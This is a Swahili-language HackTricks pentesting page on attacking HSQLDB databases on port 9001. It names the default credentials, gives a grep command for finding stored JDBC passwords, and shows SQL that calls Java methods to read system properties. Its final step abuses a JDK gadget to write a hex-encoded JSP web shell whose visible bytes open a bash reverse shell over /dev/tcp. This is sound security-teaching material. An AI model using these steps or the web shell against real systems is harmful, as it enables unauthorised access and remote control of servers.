hacktricks/src/network-services-pentesting/9001-pentesting-hsqldb.md

3.1 KiB

{{#include ../banners/hacktricks-training.md}}

Taarifa za Msingi

HSQLDB (HyperSQL DataBase) ni mfumo mkuu wa hifadhidata ya SQL inayohusiana iliyoandikwa kwa Java. Inatoa injini ndogo, ya haraka ya hifadhidata yenye nyuzi nyingi na ya muamala yenye meza za ndani na za diski na inasaidia hali za kuingizwa na seva.

Bandari ya kawaida: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Taarifa

Mipangilio ya Kawaida

Kumbuka kwamba kwa kawaida huduma hii inafanya kazi katika kumbukumbu au imefungwa kwa localhost. Ikiwa umeipata, huenda umevamia huduma nyingine na unatafuta kuongeza mamlaka.

Akawali, akidi za kawaida ni sa zikiwa na nenosiri tupu.

Ikiwa umevamia huduma nyingine, tafuta akidi zinazowezekana kwa kutumia

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Kumbuka jina la database kwa makini - utahitaji hilo kuungana.

Info Gathering

Ungana na DB instance kwa kupakua HSQLDB na kutoa hsqldb/lib/hsqldb.jar. Endesha programu ya GUI eww kwa kutumia java -jar hsqldb.jar na uungane na instance kwa kutumia akidi zilizogunduliwa/dhaifu.

Kumbuka URL ya muunganisho itakuwa na muonekano kama huu kwa mfumo wa mbali: jdbc:hsqldb:hsql://ip/DBNAME.

Tricks

Java Language Routines

Tunaweza kuita mbinu za statiki za darasa la Java kutoka HSQLDB kwa kutumia Java Language Routines. Kumbuka kwamba darasa linaloitwa linahitaji kuwa katika classpath ya programu.

JRTs zinaweza kuwa functions au procedures. Functions zinaweza kuitwa kupitia taarifa za SQL ikiwa mbinu ya Java inarudisha moja au zaidi ya mabadiliko ya msingi yanayofaa kwa SQL. Zinaitwa kwa kutumia taarifa ya VALUES.

Ikiwa mbinu ya Java tunayotaka kuita inarudisha void, tunahitaji kutumia taratibu inayoitwa kwa taarifa ya CALL.

Reading Java System Properties

Unda kazi:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Tekeleza kazi:

VALUES(getsystemproperty('user.name'))

Unaweza kupata orodha ya mali za mfumo hapa.

Andika Maudhui kwenye Faili

Unaweza kutumia com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java gadget iliyoko katika JDK inayoingizwa kiotomatiki kwenye njia ya darasa la programu kuandika vitu vilivyoandikwa kwa hex kwenye diski kupitia utaratibu maalum. Kumbuka ukubwa wa juu wa 1024 bytes.

Unda utaratibu:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Tekeleza utaratibu:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

{{#include ../banners/hacktricks-training.md}}